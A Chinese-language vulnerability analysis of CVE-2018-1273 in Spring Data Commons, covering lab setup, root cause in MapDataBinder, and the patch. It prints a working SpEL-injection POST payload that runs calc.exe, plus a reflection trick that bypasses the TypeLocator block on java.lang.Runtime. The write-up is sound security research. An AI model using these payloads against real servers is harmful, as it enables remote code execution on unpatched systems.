0x00 前言
继续分析Spring的历史漏洞,本篇记录Spring Data Commons的远程代码执行漏洞(CVE-2018-1273)的分析。
0x01 环境搭建
使用的Spring Data Example Projects提供的示例代码。
但该项目中包含有15个子模块,如果将其整体导入IDEA,则需要下载所有模块中的依赖,显然这是没有必要的。通过参考这篇文章,发现只需导入web模块中的example模块即可复现该漏洞:
因此可以通过修改example子模块中的pom.xml中的配置将其变为一个单独的SpringBoot项目:
1、首先修改<parent>标签如下:
<parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.0.0.RELEASE</version>
</parent>
因为该漏洞影响的Spring-Data-Commons的版本如下:
Spring-Data-Commons 1.13 to 1.13.10
Spring-Data-Commons 2.0 to 2.0.5
因此上面引入的SpringBoot版本为2.0.0.RELEASE,其对应的Spring-Data-Commons版本为2.0.5.RELEASE。
2、再添加如下依赖:
<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter</artifactId>
</dependency>
这样就可以把example子模块作为一个独立的SpringBoot项目导入到IDEA了。另外由于测试代码一般需要引入junit包,为了方便,我在导入项目之前把\example\src下的test文件夹删除掉了。
3、导入完成后,发现程序中使用了lombok包,因此还需添加如下依赖:
<dependency><groupId>org.projectlombok</groupId><artifactId>lombok</artifactId><scope>provided</scope>
</dependency>
这时,就可以运行example.Application类中main方法启动项目了。
0x02 漏洞利用
1、首先浏览器访问http://127.0.0.1:8080/users地址,即出现如下界面:
2、抓包,修改POST数据如下:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]=xxx&password=xxx&repeatedPassword=xxx
发包后,即可执行calc.exe命令。
0x03 漏洞原理
1、首先在org.springframework.data.web.MapDataBinder.MapPropertyAccessor#setPropertyValue方法处设置断点:
调试过程中发现该方法会处理所有GET/POST请求的参数名与参数值,且当propertyName值为Controller类中处理该请求的方法的形参对应的类中属性名时,才会进入上图中的else分支。下面解释一下这句话:
(1)首先看example.users.web.UserController#register方法如下,可以看到该方法是处理请求地址为/users的POST请求,看到其有一个类型为UserForm的形参:
(2)查看UserForm的代码,发现其有如下三个属性,因此只有propertyName值为username、password、repeatedPassword时,才会进入后面的else分支。
2、但当propertyName值为username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“calc.exe”)]时,也可以进入else分支,因此通过单步执行if判断里面的代码后发现在org.springframework.data.web.MapDataBinder.MapPropertyAccessor#getPropertyPath方法中,其在处理propertyName值时,会将“[]”中包含的字符包括“[]”去除后再与UserForm类中的属性值做对比,因此可以校验成功进入后面的else分支:
3、进入else分支后,就看到了熟悉的代码:
这里只截取了关键的代码,可以看到先是使用propertyName值创建了一个Expression对象,然后后面调用expression.setValue()方法时,传入的Context对象类型为StandardEvaluationContext,可解析任意SpEL。因此造成任意命令执行。
4、在前一篇文章中分析CVE-2018-1270漏洞时,已经知道了expression.getValue()方法可以解析SpEL,下面我写了测试代码来理解一下expression.setValue() 方法也可以解析SpEL:
public class Test {
public static void main(String[] args) throws Exception {
class Team {
public List<String> names = new ArrayList<String>();}Team team = new Team();team.names.add("zhangsan");StandardEvaluationContext context = new StandardEvaluationContext(team);new SpelExpressionParser().parseExpression("names[0]").setValue(context, "lisi");System.out.println(team.names.get(0));}
}
运行结果如下,可以看到通过SpEL表达式成功修改了names集合中的数据:
5、下面把第4步中如下代码:
new SpelExpressionParser().parseExpression("names[0]").setValue(context, "lisi");
修改为:
new SpelExpressionParser().parseExpression("names[T(java.lang.Runtime).getRuntime().exec('calc.exe')]").setValue(context, "lisi");
再运行main方法,发现弹出了计算器。
再进一步修改names[0]为names[‘0’],发现同样可以解析成功。
到了这里就明白了,对于XX[YY]格式的SpEL表达式,在解析时会先把YY作为一个SpEL表达式进行解析得到结果ZZ,然后再解析XX[ZZ]得到最终的结果。
6、最后一个问题,为什么命令执行的payload用的是
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")
而不是
T(java.lang.Runtime).getRuntime().exec('calc.exe')
还是在org.springframework.data.web.MapDataBinder.MapPropertyAccessor#setPropertyValue方法中,有如下代码:
这段代码很熟悉了,在前一篇分析CVE-2018-1270漏洞修复时,知道了SimpleEvaluationContext类中的TypeLocator也是被设置成了这个Lambda表达式,以此来阻止解析java.lang.Runtime、java.lang.ProcessBuilder等类。但在这里可以使用反射的方式绕过,下面简单看下原因:
(1)当payload使用T(java.lang.Runtime).getRuntime().exec('calc.exe')
时,在org.springframework.expression.spel.ast.CompoundExpression#getValueRef方法中,可以看到如下红框处的代码nextNode类型为TypeReference,然后就运行到了org.springframework.expression.spel.ExpressionState#findType方法处,从而触发上面的Lambda表达式中的异常:
(2)当payload使用#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")
时,在
org.springframework.expression.spel.ast.CompoundExpression#getValueRef方法中,可以看到nextNode类型为VariableReference:
然后运行到org.springframework.expression.spel.ast.VariableReference#getValueInternal方法处,直接返回如下对象,进而通过反射的方式来利用Runtime类执行命令。
这里只是通过对比两种payload的调用栈进行了简单分析,后面有时间的话再深入分析一下。到了这里,关于漏洞原理方面的问题大部分都解决了。
0x04 漏洞修复
修改SpringBoot的版本为2.0.1.RELEASE,其对应的Spring Data Commons版本为2.0.6.RELEASE,在该版本中漏洞已被修复。从下图可以看到修复方案与CVE-2018-1270中的修复方案相同,即使用SimpleEvaluationContext替换StandardEvaluationContext,该方案的原理在前一篇也分析了,就不赘述了。
0x05 参考
- https://github.com/spring-projects/spring-data-examples
- https://xz.aliyun.com/t/2269